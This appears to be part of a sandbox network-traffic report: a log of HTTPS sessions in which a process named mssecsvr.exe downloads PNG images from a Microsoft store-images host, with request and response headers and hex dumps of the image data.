2022-07-20 11:23:42 UTC	216	IN	Data Raw: 84 9b e7 94 12 5a e5 d8 a0 f4 30 86 2e 6b 7e 36 96 cd 78 8d ac 77 e6 b4 9d 49 d1 4c 6a 65 f6 4d 69 20 1a ae e8 31 c1 06 48 7b 4f 18 c5 32 25 5c 5c 86 a5 04 56 dc b2 4a 3a 2c c2 6b 69 a5 01 56 ec 72 97 e9 5c ba 78 05 41 b6 82 20 5b 59 81 b9 4b f3 b0 78 75 0a aa ea 79 bc ba 68 58 b3 e7 3f 91 04 29 e7 22 70 d5 f4 54 f5 a1 f3 0c 13 bc 91 09 a6 3a 83 a7 19 5c aa 2f 6d 3e 57 86 09 3b 5b 09 27 02 eb 00 a1 74 a0 ca 00 6b d8 1e 1f 86 ee f1 a2 ef 41 1f 86 ed 6b c2 d8 3d 35 4c 17 db d0 f3 70 10 3f 1d a8 c0 fa 9b d9 a6 f0 1e f6 09 7d 4a d7 da 81 e5 e2 e3 de c8 84 4f cd 17 73 21 9b c6 6e e2 e9 4a d3 8a b9 fb 49 07 58 8a 2e 74 59 a6 9e 15 81 96 52 c4 2e e7 da f0 ed 45 5d b2 e3 41 df d3 b9 b8 57 a3 22 3e 11 c5 8f df 01 96 f3 7f 6c f5 69 65 81 d5 21 d2 28 d1 12 54 dc 90 Data Ascii: Z0.k~6xwILjeMi 1H{O2%\\VJ:,kiVr\xA [YKxuyhX?)"pT:\/m>W;['tkAk=5Lp?}JOs!nJIX.tYR.E]AW">lie!(T
2022-07-20 11:23:42 UTC	224	IN	Data Raw: a8 47 dc aa 1a 2c 5b 5b 4e a7 95 4d c7 f5 16 cb d7 a6 e0 e9 3b c7 55 f9 98 d6 f9 54 33 12 b7 78 e8 3e 4f 80 c7 ac 8b 9b e9 6d 48 08 a7 c0 ee 61 66 e8 81 d7 e3 35 97 ff c8 4b 96 34 87 11 bb fd 25 26 6f 2e c0 e4 2d 25 98 b9 87 40 da 54 8b 71 84 d2 98 1d ad 18 b5 93 f7 77 d5 9b 18 ba b7 91 f0 6a 24 c8 5a 30 82 31 6a 77 03 bf a6 00 d3 b7 3d 36 97 f2 38 60 54 f0 33 8b 84 3a 64 f0 85 19 da ea 73 73 e0 65 f5 69 65 81 d5 51 12 27 fe 02 58 c9 11 60 1d 1b 5e 80 23 23 b3 70 bc 1d 58 84 d5 51 41 4b 35 2d 15 e0 09 2a 41 4b 4e eb 00 81 95 34 31 17 fb 27 67 60 ff a4 0c 1c a2 d3 4a 1a 55 82 3d a3 cb b1 6f 4a 11 76 4e 7e 85 1d f3 6e 20 37 db b9 3a 39 40 a7 a5 96 2b ce 01 b4 6f 9d c1 e6 d5 3c 25 8e 39 b5 61 71 bb 75 16 d1 c5 14 b1 81 41 20 70 e4 e7 a7 b7 60 db aa 14 ac a6 Data Ascii: G,[[NM;UT3x>OmHaf5K4%&o.-%@Tqwj$Z01jw=68`T3:dsseieQ'X`^##pXQAK5-*AKN41'g`JU=oJvN~n 7:9@+o<%9aquA p`

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.7	49743	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:42 UTC	237	OUT	GET /image/apps.10318.9007199266246761.cc710c1e-2e5d-4241-97cb-d944f43f9af1.8cf0ef1a-60ff-4508-85ab-fd3d7f02c6a3?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:42 UTC	238	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 13220 Content-Type: image/png Last-Modified: Fri, 03 Jun 2022 23:39:52 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REE0NUJBNUI3MEJEODU" MS-CV: 5ChDa+Bo80itmz7R.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 11:23:42 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:42 UTC	238	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 37 2e 31 2d 63 30 30 30 20 37 39 2e 39 63 63 63 34 64 65 39 33 2c 20 32 30 32 32 2f 30 33 2f 31 34 2d 31 34 3a 30 37 3a 32 Data Ascii: PNGIHDR,,y}utEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.9ccc4de93, 2022/03/14-14:07:2

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.7	49744	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:42 UTC	251	OUT	GET /image/apps.15982.13510798883386282.38bb6176-27af-4000-85dd-12a4c12514f2.7bbbe321-5273-45d0-814e-74f2065197d3?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:42 UTC	251	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 10694 Content-Type: image/png Last-Modified: Tue, 01 Feb 2022 21:30:36 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDlFNUNBMTYyODVDRjE" MS-CV: PAMnN/lHQEOUOWN/.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 11:23:42 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:42 UTC	252	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 29 5b 49 44 41 54 78 01 ed 7d 0d 90 5c 57 75 e6 b9 3d d3 23 8d 46 3f 63 fd 44 48 76 8c fc 53 20 4b 62 ad c2 25 cb 36 c6 9a 18 ab 48 c8 c6 56 81 c5 8f b7 b2 04 9c 2d 07 f2 c7 b2 6c 42 76 81 88 ec 6e 6a ab 52 21 b5 4b 6d a8 6c b1 05 ec 26 c1 65 b3 60 b4 1b e2 5d 17 68 a4 14 38 b6 a5 58 72 82 24 3b c2 92 65 21 59 d6 68 66 34 33 dd 33 d3 dd ef dd 9c 7b ef 39 e7 9e fb 66 44 10 71 cf b4 e4 77 ec 56 bf 7e 3f f7 dd f7 de f7 ce f9 ce cf bd 03 50 4a 29 a5 94 52 4a 29 a5 94 52 4a 29 a5 94 52 4a 29 a5 94 52 4a 29 a5 Data Ascii: PNGIHDR0pHYssRGBgAMAa)[IDATx}\Wu=#F?cDHvS Kb%6HV-lBvnjR!Kml&e`]h8Xr$;e!Yhf433{9fDqwV~?PJ)RJ)RJ)RJ)RJ)

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.7	49746	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:42 UTC	262	OUT	GET /image/apps.18124.9007199266244427.c75d2ced-a383-40dc-babd-1ad2ceb13c86.afc6c372-c7a8-4eda-94fb-541bbb081d14?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:42 UTC	263	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 2629 Content-Type: image/png Last-Modified: Thu, 10 Jun 2021 02:49:24 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkyQkJBNUI1OEFDQ0E" MS-CV: uTeCNqL8s0mgIiPD.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 11:23:42 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:42 UTC	264	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 09 da 49 44 41 54 78 5e ed 9d 77 8c 15 55 14 87 31 31 46 45 b1 61 ef 46 25 96 d8 4d 6c d1 c4 58 13 6b 6c b1 46 13 4b 62 8b 2d 9a 18 35 d8 f5 0f 7b c1 86 95 a2 48 53 04 11 50 14 04 e9 ba 2b 9d 08 88 08 82 88 bb af d7 3d de df dd 1d 5d 37 b3 f0 f6 ec 7b f3 ee 1d 7e 27 f9 12 ca ee 7b 6f 66 be b9 f7 9c 5b e6 f5 d8 fb 83 84 10 d2 55 28 0e 51 41 71 88 0a 8a 43 54 50 1c a2 82 e2 10 15 14 87 a8 a0 38 44 05 c5 21 2a 28 0e 51 41 71 88 0a 8a 43 54 50 1c a2 82 e2 10 15 14 87 a8 a0 38 44 05 c5 21 2a 28 0e 51 41 71 88 Data Ascii: PNGIHDR0sRGBgAMAapHYsodIDATx^wU11FEaF%MlXklFKb-5{HSP+=]7{~'{of[U(QAqCTP8D!(QAqCTP8D!(QAq

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.7	49727	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:37 UTC	57	OUT	GET /image/apps.16574.13571498826857201.00a9d390-581f-492c-b148-b2ce81649480.6a6f592e-efa9-4bb0-b008-7c3422ab3313?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:37 UTC	57	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 1493 Content-Type: image/png Last-Modified: Mon, 30 Aug 2021 15:07:39 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk2QkM3RThDNTBCMzY" MS-CV: WqthG07BiE+6pHh5.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 11:23:37 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:37 UTC	57	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 03 00 00 00 d0 23 c0 3a 00 00 02 58 50 4c 54 45 1d b9 54 ff ff ff fe fe fe 1f b9 56 f8 fd fa a4 e3 ba fa fd fb 2c bd 5f 24 bb 59 b7 e8 c8 61 ce 87 9f e1 b6 1e b9 55 fd fe fd 21 ba 57 2f be 62 6a d1 8f d3 f1 de 82 d8 a1 5e cd 85 c8 ee d6 fc fe fc 22 ba 58 24 bb 5a d5 f2 df f9 fd fa 20 ba 56 47 c6 74 f7 fc f9 23 ba 58 ba e9 cb ec f9 f0 cb ef d8 4c c7 78 91 dc ab bf eb ce db f4 e4 28 bc 5c 73 d3 95 d9 f3 e2 2a bd 5e cc ef d8 9b e0 b3 cf f0 da e1 f5 e8 2e be 61 cd ef d9 68 d0 8d 80 d7 9f e5 f7 eb df f5 e7 e0 f5 e8 46 c5 73 eb f8 f0 ed f9 f1 53 c9 7c de f4 e6 b8 e9 c9 9d e0 b5 a1 e1 b7 e7 f7 ec 49 c6 75 64 cf 8a 5c cc 84 be ea ce ef fa f2 f0 fa f4 d0 f0 dc 57 cb 80 7f d7 9e f4 fb f6 42 Data Ascii: PNGIHDR#:XPLTETV,_$YaU!W/bj^"X$Z VGt#XLx(\s*^.ahFsS\|Iud\WB

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.7	49747	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:42 UTC	262	OUT	GET /image/apps.19460.9007199266243744.1d2d3767-9bde-47ad-95c6-81ccd5714dd0.304469a1-c8b6-4cdc-aa11-eaa96e2fdfd6?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:42 UTC	266	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 9623 Content-Type: image/png Last-Modified: Thu, 23 Jun 2022 15:41:01 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REE1NTJFQzZERjk5NTc" MS-CV: zVjVB5uPz0aZ1aW/.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 11:23:42 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:42 UTC	267	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 00 09 70 48 59 73 00 00 19 d6 00 00 19 d6 01 18 d1 ca ed 00 00 13 56 49 44 41 54 78 9c ed 9d 0b 94 64 45 79 c7 bf aa ba b7 5f d3 33 3b cb cc be 58 e1 f0 38 26 8b ac 98 25 8b 08 64 89 c0 81 68 40 5e 41 11 5c 59 04 a2 1c 0f 09 1e 13 85 63 88 1b 14 25 06 cd 01 51 0f 1e 30 89 28 1c 93 48 10 08 18 24 60 08 22 20 0b 2c 08 e4 41 40 74 61 17 76 67 67 7a a6 df f7 51 95 ef ab aa db 3d 8b 31 c0 a5 1f de d9 fa ef e9 e9 db b7 7b ba ab ef fd cd ff fb aa ea bb b5 1e 38 39 a5 90 37 ec 06 38 65 53 0e 1c a7 54 72 e0 38 a5 92 03 c7 29 95 1c 38 4e a9 e4 c0 71 4a 25 07 8e 53 2a 39 70 9c 52 c9 81 e3 94 4a 0e 1c a7 54 72 e0 38 a5 92 03 c7 29 95 1c 38 4e a9 e4 c0 71 4a 25 07 Data Ascii: PNGIHDR0pHYsVIDATxdEy_3;X8&%dh@^A\Yc%Q0(H$`" ,A@tavggzQ=1{8978eSTr8)8NqJ%S*9pRJTr8)8NqJ%

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.7	49745	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:42 UTC	263	OUT	GET /image/apps.16957.14618985536919905.4b30e4f3-f7a1-4421-840c-2cc97b10e8e0.aef04b90-a221-4ea5-a05d-0d51ac792471?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:43 UTC	276	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 16935 Content-Type: image/png Last-Modified: Fri, 25 Jun 2021 08:37:45 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkzN0I0ODFCQzYxOTE" MS-CV: 0jLeqAm/ckGHvdAs.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 11:23:42 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:43 UTC	276	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 41 d9 49 44 41 54 78 9c ed 7d 09 bc 1d 45 99 ef bf cf 7a f7 7b b3 dd ec 0b 09 d9 48 48 08 09 48 80 80 c8 8e 3a 88 30 22 3a 0a e8 f8 1c 06 15 f5 39 e3 73 1b 75 46 07 d7 d1 d1 19 77 87 a7 30 3a 8a 03 c8 22 b2 2f 49 d8 21 40 12 b2 ef eb cd 4d ee 7e cf bd 67 ed f7 55 55 57 77 75 77 75 9f ee 73 6f 80 f9 fd 5e c1 c9 3d a7 6b fb aa ea 5f df 56 4b a7 f0 89 df 6d 43 2a 3d 06 e5 32 60 18 a0 7f 80 84 c1 ff f0 df f2 03 c3 fd 9b 3f 4a 38 7f 65 7c c2 93 c6 97 4f 2d 53 96 a1 cb 2b e3 83 f2 26 14 3a 3c 79 e1 a1 41 f3 2c 61 91 c6 42 82 d3 af 24 85 28 8e ff b5 be 24 14 72 12 50 8b 36 ec e7 80 3b 0e 56 bc a1 Data Ascii: PNGIHDR0pHYsodAIDATx}Ez{HHH:0":9suFw0:"/I!@M~gUUWwuwuso^=k_VKmC*=2`?J8e\|O-S+&:<yA,aB$($rP6;V
2022-07-20 11:23:43 UTC	292	IN	Data Raw: 56 54 9d a7 6a 1e 54 37 c7 8f 8b 72 7b 3c ca 0f 52 98 ed a0 1b 35 6f a7 55 99 c5 3e a6 e5 be c7 f0 f5 0f 35 20 b1 2a a3 f2 26 70 5c 01 3e c3 23 4c 54 1d ef 0e 19 d5 f2 23 29 cc f2 8b d7 fe 0c e3 cb 4a 12 c9 dc 46 23 bc 51 3a 54 55 f7 85 da 07 01 7d f2 66 da 56 31 2a 21 e0 a2 03 f7 77 dd 88 c5 e0 7d aa b7 75 b4 94 d5 11 95 53 a3 0c 8c a3 30 7b c3 71 bf 74 e0 8d 08 56 a3 f4 db 41 bd dc c6 ab 44 57 09 de 31 f2 5d 16 55 bd 0c 57 ff 8e 86 de 63 97 11 13 7d a1 03 ed 2e 8b 27 55 1f e9 80 53 0d 34 ea 44 7b bd 01 a6 f3 53 05 27 d6 75 62 b5 a9 ae ef fc a0 ba dc cf a3 2d fc f8 ca f1 b9 10 c2 eb d4 07 13 f6 15 15 51 b1 a3 69 6a d0 1b 84 fd 34 33 e0 44 58 e4 54 1b e1 fd 7b bc 82 ae e3 62 d5 a9 03 4e a8 be 23 65 7c f8 e9 07 fb b7 a2 37 3a a1 86 83 57 86 55 66 80 67 21 Data Ascii: VTjT7r{<R5oU>5 &p\>#LT#)JF#Q:TU}fV1!w}uS0{qtVADW1]UWc}.'US4D{S'ub-Qij43DXT{bN#e\|7:WUfg!

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.7	49748	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:44 UTC	293	OUT	GET /image/apps.23070.9007199266246761.cc710c1e-2e5d-4241-97cb-d944f43f9af1.8e7acf32-4622-490b-b63f-0ba9c0d9a24e?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:44 UTC	293	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Type: image/png Last-Modified: Fri, 03 Jun 2022 23:39:57 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REE0NUJBNUUxQzE0ODQ" MS-CV: khPkmUs4nEe0OA80.0 Access-Control-Expose-Headers: MS-CV Content-Length: 8562 Date: Wed, 20 Jul 2022 11:23:44 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:44 UTC	294	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 37 2e 31 2d 63 30 30 30 20 37 39 2e 39 63 63 63 34 64 65 39 33 2c 20 32 30 32 32 2f 30 33 2f 31 34 2d 31 34 3a 30 37 3a 32 Data Ascii: PNGIHDR0tEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.9ccc4de93, 2022/03/14-14:07:2

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.7	49749	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:44 UTC	302	OUT	GET /image/apps.31225.13576748414566955.3d986480-8c1e-4271-9c7c-a90619002084.3ffd9abd-094d-4594-b6c3-8e079298b84b?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:44 UTC	302	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 57945 Content-Type: image/png Last-Modified: Wed, 23 Mar 2022 12:32:12 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REEwQ0M5MjdCN0IxQTc" MS-CV: ejMSje+zLkSN72MX.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 11:23:44 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:44 UTC	303	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 02 00 00 00 f6 1f 19 22 00 00 e2 20 49 44 41 54 78 9c ec bd 77 80 25 47 75 2f fc 3b d5 7d c3 e4 99 9d cd 41 da 55 96 50 ce 12 20 24 81 44 14 98 64 d2 c3 18 13 1c c0 0f 7f 36 f8 19 1b 07 1c 70 8e d8 04 63 8c 03 41 96 8c 79 20 a2 11 22 a3 9c d3 4a 2b 6d ce 93 67 6e ec ee aa f3 fd 51 1d aa bb ab fb de d9 5d 78 46 e8 68 74 b7 bb ba 72 d5 af 4e a8 44 b8 71 16 3f 6c a2 63 1d 1b 47 bf cb 8d 9c d3 fe cd 78 e2 c8 91 76 39 4a 8a a3 a2 63 1a ed d3 f4 14 22 f7 87 1b fd 51 c2 8f 72 38 a1 dc ef d1 e4 a7 24 9e 7c d2 a6 fb 91 a5 f8 34 0e 9f 26 1b 89 63 1c 1f 15 3c 2f 2b 86 4c 40 2e 70 ff e1 51 06 ea 66 d2 7c 74 d9 f8 91 15 e1 69 fa f1 a1 63 0d c2 0c cb 3a fa 18 e8 47 0b bf 12 8a b3 c1 e9 2c 2d 37 Data Ascii: PNGIHDR,," IDATxw%Gu/;}AUP $Dd6pcAy "J+mgnQ]xFhtrNDq?lcGxv9Jc"Qr8$\|4&c</+L@.pQf\|tic:G,-7
2022-07-20 11:23:44 UTC	318	IN	Data Raw: c3 d5 df 7b cb 05 df b8 63 cf 3f 7e 6d db 7e c9 4a 31 bc e0 d4 31 7a fe a9 55 77 81 9d 0a 93 60 7d 9a 40 34 20 45 a3 07 63 58 35 5f 39 ff 8d bf 5f f5 d3 98 5d 4c 9d 82 61 cd 7f 5e c8 8c 5b bc 48 c8 e2 9c 4b 39 65 64 a5 cc 88 6f 22 2a 93 81 bc d2 94 e9 75 66 b4 19 32 53 e9 49 25 43 03 95 83 b0 48 9a b0 3a 6a 38 94 a0 2e f6 53 12 55 2a 78 3a 8a 03 b3 58 6a 8d b4 e7 5f 71 fb c7 b6 1c 7a 34 5c 10 c6 14 fa 63 8c 8c aa d7 fc 2c 4f ac f2 41 04 11 10 1c 26 01 35 a4 3a 5d 0e 02 56 4c 15 97 05 1c 31 3b 54 bb ad ed 5d a0 30 a9 94 e4 e9 03 de 6d 77 23 02 48 bc 3b 90 63 a6 14 75 0b ad ee 39 57 fc 34 aa 83 d0 57 c9 73 b4 67 90 38 9c 99 10 c4 f7 dc 84 d9 e9 30 08 a2 b5 dc 71 61 f3 dd ab 27 02 cd ca 2a 69 cb c8 82 02 52 e4 48 67 c2 19 df 7d c0 bd e7 36 79 d1 b3 a4 d7 f6 Data Ascii: {c?~m~J11zUw`}@4 EcX5_9_]La^[HK9edo"uf2SI%CH:j8.SUx:Xj_qz4\c,OA&5:]VL1;T]0mw#H;cu9W4Wsg80qa'*iRHg}6y
2022-07-20 11:23:44 UTC	327	IN	Data Raw: 55 1a b3 58 fd 95 2f 09 1d 71 e1 24 8b 66 ee 73 d9 d5 9f 38 53 ef 94 ed 82 48 b7 34 23 ba 9a 2b d3 1b 72 2b ca 54 7a b3 45 c5 c5 e4 c8 92 3b f4 89 93 5e 13 27 48 15 27 3c 09 58 93 d2 d7 38 29 7f 6a 5a 2d 75 12 16 c2 49 4a cc 60 0e cb c9 c8 f6 da 70 b6 1f 88 36 f4 22 3c 0c 3b fa 8b 41 31 e5 8e 03 40 d5 35 6a 23 8d a8 bc 35 32 c3 1e 93 52 47 ad 96 e5 6c e6 2a a1 a8 fb 9a 55 94 8d ca 84 6b ba 8f 67 a0 9e 09 9e 81 1f 10 1a 36 33 64 e9 08 91 ee c4 94 88 ee 49 67 8c 21 f7 c3 00 5b 31 85 87 c3 9a 7d 2f 6e 3c 00 46 0f d4 64 ad 99 2c 1a b3 a3 63 d1 14 45 1e 7e 7d 14 9d 8d 2a 4b e6 58 0d 09 bb a7 29 2f db 27 0c 23 35 d2 e5 67 b3 52 cc 12 e5 a2 8a 93 36 3d ac 18 85 a0 ff bb e9 f9 53 f5 49 fd 5d 8c d4 23 8f fa 78 33 a5 4f 43 92 33 0b f9 ee 97 af 93 f4 78 48 f1 ca ed Data Ascii: UX/q$fs8SH4#+r+TzE;^'H'<X8)jZ-uIJ`p6"<;A1@5j#52RGlUkg63dIg![1}/n<Fd,cE~}KX)/'#5gR6=SI]#x3OC3xH
